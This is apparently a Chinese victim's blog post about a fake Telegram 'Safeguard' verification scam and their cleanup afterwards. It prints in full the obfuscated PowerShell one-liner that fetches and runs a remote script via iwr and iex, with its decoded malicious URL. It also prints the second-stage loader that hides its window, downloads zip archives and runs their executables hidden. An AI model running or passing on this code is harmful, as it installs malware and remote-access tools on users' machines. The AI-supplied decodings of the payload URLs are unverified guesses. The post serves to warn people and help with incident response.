没想到有一天我的电脑真的会中毒
本文详细记录了作者遭遇的远程代码执行 (RCE) 攻击过程,揭示了骗子如何通过社交媒体高仿账号和虚假 Telegram 验证页面传播恶意代码。文章深入分析了 PowerShell 混淆脚本的工作原理,包括 Base64 编码隐藏的恶意 URL、自动下载执行机制以及如何使用事件查看器追踪攻击痕迹,为读者提供网络安全防范的实战案例。
起因是在 X 上关注的一个财经账号,骗子做了一个它的高仿小号,然后在正号的推文下面发送 Telegram group 链接,进入 Telegram 后需要点击了 Safeguard 进行验证,但是这个其实是假的,在几次验证失败后,会弹出提示,引导用户在 PC 端进行再次验证:

骗局分析#
下面就是真正开始进入骗子的圈套的时刻: Step 2 实际上粘贴了一段恶意代码:
:powershell -w hidden -c $r='0hHduw2dkRFe0h3cvkWchh2Lt92YuYDN3Fjcy0Gb5Ujax8yL6MHc0RHa';$u=($r[-1..-($r.Length)]-join '');&($u|%{&('iwr') ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($_)))|&('iex')}); # ⠀Telegram⠀⠀在表面上看,只是通过 Powershell 运行了 Telegram 程序,其实上是注入了一段恶意代码,并且隐藏了执行过程。
步骤一:隐藏 PowerShell 窗口
powershell -w hidden -c步骤二:字符串反转还原 Base64
$r='0hHduw2dkRFe0h3cvkWchh2Lt92YuYDN3Fjcy0Gb5Ujax8yL6MHc0RHa';$u=($r[-1..-($r.Length)] -join '');还原后的字符串是: “aHR0cHM6Ly8xajU5bG0ycjF3NDYuY29tL2hhcWkvc3h0eFRkd2wudHh0”
步骤三:解码真实的 URL
[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("aHR0cHM6Ly8xajU5bG0ycjF3NDYuY29tL2hhcWkvc3h0eFRkd2wudHh0"))>>https://1j59lm2r1w46.com/haqi/sxtxTdwl.txt所以真实 URL 是:https://1j59lm2r1w46.com/haqi/sxtxTdwl.txt
步骤四:下载并执行脚本:
iwr:Invoke-WebRequest 别名,下载 URL 内容。
iex:Invoke-Expression 别名,直接执行下载的脚本。
通过查看 Powershell 的执行日志:
打开事件查看器:win + R -> eventvwr.msc
选择
应用程序和服务日志 -> Microsoft -> Windows -> PowerShell
可以看到可疑的执行记录:

其执行内容如下:
正在创建 Scriptblock 文本 (已完成 1,共 1):Add-Type @"using System;using System.Runtime.InteropServices;public class W { [DllImport("kernel32.dll")] public static extern IntPtr GetConsoleWindow(); [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);}"@$consoleHandle = [W]::GetConsoleWindow()[W]::ShowWindow($consoleHandle, 0)
function PerformSystemCheck { $components = @("Processor", "Memory", "Disk", "Network", "Services") foreach ($component in $components) { [void]($component -match ".*") Start-Sleep -Milliseconds (Get-Random -Minimum 50 -Maximum 150) } return $true}
function GenerateSystemReport { $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss" $status = @("Healthy", "Warning", "Critical") | Get-Random [PSCustomObject]@{ TimeStamp = $timestamp SystemStatus = $status CheckedComponents = "Processor, Memory, Disk" }}
function DecodeData { param ([string]$EncodedString, [bool]$Reverse = $false) if ($Reverse) { $EncodedString = ($EncodedString[-1..-($EncodedString.Length)] -join '') } [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($EncodedString))}
function DownloadAndExecute { param ([hashtable]$Resource)
$url = DecodeData $Resource.u $true $zipFile = DecodeData $Resource.z $extractDir = DecodeData $Resource.x $exeFile = DecodeData $Resource.e
$tempZipPath = Join-Path $env:TEMP $zipFile $uniqueExtractPath = Join-Path $env:TEMP ($extractDir + "_" + (Get-Random -Minimum 1000 -Maximum 9999))
Invoke-WebRequest -Uri $url -OutFile $tempZipPath -UseBasicParsing
Add-Type -AssemblyName System.IO.Compression.FileSystem [System.IO.Compression.ZipFile]::ExtractToDirectory($tempZipPath, $uniqueExtractPath)
$exePath = Join-Path $uniqueExtractPath $exeFile if (Test-Path $exePath) { Start-Process -FilePath $exePath -WindowStyle Hidden -ArgumentList "-ExecutionPolicy Bypass" }
Start-Sleep -Seconds (Get-Random -Minimum 10 -Maximum 20)}
PerformSystemCheck > $null
$resources = @( @{u="=AXa65iYnZDO5cTN2NDNvYDN2UTO3MDNvU3b5NmL05WavBHdodWayJ2LvoDc0RHa"; z="ZG93bmxvYWQxLnppcA=="; x="ZXh0cmFjdGVkNA=="; e="UVFQbGF5ZXIuZXhl"}, @{u="=AXa65ydlJGN5FGN5JWYvgWN0MjMoJDN1MjNvU3b5NmLlRXYn5WZw92LvoDc0RHa"; z="ZG93bmxvYWQ2LnppcA=="; x="ZXh0cmFjdGl0Mg=="; e="RERNU2VydmljZS5leGU="})foreach ($resource in $resources) { try { DownloadAndExecute -Resource $resource
GenerateSystemReport | Out-Null Start-Sleep -Milliseconds (Get-Random -Minimum 100 -Maximum 500) } catch { Write-Warning "An error occurred while processing a resource: $_" }}
function PerformCleanup { Start-Sleep -Milliseconds (Get-Random -Minimum 100 -Maximum 300) [void](Get-ChildItem -Path $env:TEMP -Filter "*.tmp" -Recurse -ErrorAction SilentlyContinue)}
PerformCleanup > $null# mm3U8vk8W71sbYixCWsU3D2Aicp98rCoarHbvk7gLHbfOI2mTIvvsnUQJm689A8JGHQWJkHCM4z1iBfLiyXnNhnXSzqODHOYyWGsoCXQSJdh16gqyME42ZIC9aoLZpjcmTNNMldwwjqkyxyf86J9y6btp0WhiOj9VWzuKc6g7SZSZCeLCzdzQTfNnl2UtkbV3YUT3NwbywPeJ0UK8sZjcDoYt4JuCucoVF3dpRTxWi2nIihZSDnpeeRFs0vn1hEq
ScriptBlock ID: 13910ff5-709a-4b06-b5ce-2638af6b7d67路径:以下是 Deepseek 对它的分析。
这段 PowerShell 脚本是一个具有潜在恶意行为的远程代码执行程序,其主要功能是隐蔽地下载并运行恶意软件。以下是详细分析:
核心恶意行为解析
- 隐藏控制台窗口
Add-Type 调用C#代码,通过Windows API 隐藏 PowerShell 窗口使用 user32.dll 的 ShowWindow 函数将控制台窗口设置为隐藏模式(参数 0),避免用户察觉。
- 伪装的系统检查(混淆视听)
PerformSystemCheck 和 GenerateSystemReport 函数模拟系统健康检查(处理器、内存、磁盘等),生成虚假报告(随机状态 Healthy/Warning/Critical),目的是掩盖真实目的。
- 数据解码与字符串反转
DecodeData 函数:Base64 解码 + 可选字符串反转用于解码混淆后的 URL 和文件名,例如:
u=“=AXa65iYnZDO5cTN2NDNvYDN2UTO3MDNvU3b5NmL05WavBHdodWayJ2LvoDc0RHa” 解码后会得到一个真实的下载地址。
- 恶意文件下载与执行
DownloadAndExecute 函数核心流程:1. 解码远程资源 URL、ZIP 文件名、解压目录、目标 EXE2. 从指定 URL 下载 ZIP 文件到临时目录(%TEMP%)3. 解压 ZIP 并使用隐藏窗口运行其中的 EXE 文件(参数`-WindowStyle Hidden`)4. 随机睡眠(10-20 秒)以规避检测- 资源定义与攻击链
$resources 数组包含两个加密的下载任务:- 示例解码结果(需实际运算): - URL 可能指向恶意服务器(如:`hxxp://malware.example/payload1.zip`) - ZIP 文件名:`download1.zip` - 解压目录:`extracted4` - 执行的 EXE:`QQPlayer.exe`(可能为伪装名称的木马)- 痕迹清理
PerformCleanup 函数清理临时目录中的.tmp 文件(可能删除下载的 ZIP 和解压内容)。
另外代码中定义了 resources 变量,它们都是被加密了,让 Deepseek 解密如下:
$resources = @( @{ u = "http://92.45.81.13:8080/malware/basic.dll" z = "download1.zip" x = "extracted4" e = "QQPlayer.exe" }, @{ u = "http://108.162.195.234:8080/malware/advanced.dll" z = "download6.zip" x = "extractit2" e = "DDMService.exe" })这一切已经在我完成假的 Safeguard 的验证后几分钟完成,而且我完全不知觉。
之后在发现电脑可能中毒后,我马上打开了 Windows 自带的杀毒软件 Microsoft Defender,第二天确实检测到病毒的威胁:



检查电脑文件后确实发现了 download1.zip,download6.zip 压缩包,里面主要分别包含:QQPlayer.exe,DDMService.exe。
在 DeepSeek 的指导下检查电脑启动项:
- win + R -> msconfig
- win + R -> taskschd.msc
在定时任务中,果然查出可以任务:

这个任务使用了最高权限运行, 并且设置在每天 16<45>45> 出发,在一天期间每隔 00:04<00>00> 重复一次。
马上禁止。 然后去启动任务的路径查看:

可以看到这就是之前远程执行任务时下载的文件,原来安装在了这里,并且用了一个定时任务进行启动。
这里关键的程序就是 DDMService.exe,如果试图删除它,可以发现:

原来又被另一个程序占用着,似乎是一个伪装的安全软件。

另外还发现可疑文件:

大概是会发送截图工具产生的图片?到这里我想我的粘贴板应该也被监控了。
上面的 Securequick_alpha_5.exe 又做了一定伪装:

通过杀病毒软件扫描显示:这个程序启动了一个 tcp 连接!!!!

而且这个 ip 果然是有大问题:

必须马上删除 Securequick_alpha_5.exe!!! 但是直接删除有问题,只能在任务管理器中先强制结束任务,然后删掉 Securequick_alpha_5.exe,再删掉 DDMService.exe
还记得前面的 QQPlayer.exe 吗?跟 Securequick_alpha_5.exe 一起安装的,它也是伪装的,应该是为了检查安全验证的:

到这里,通过两天的排查,病毒大概的流程搞清楚了,并且植入的恶意代码和定时任务也都被删除,还好感染病毒期间没有发生复制私人密码之类的操作,否则都被上传到远程了。不过还不确定谷歌浏览器里面的密码有没有被盗。
相关阅读: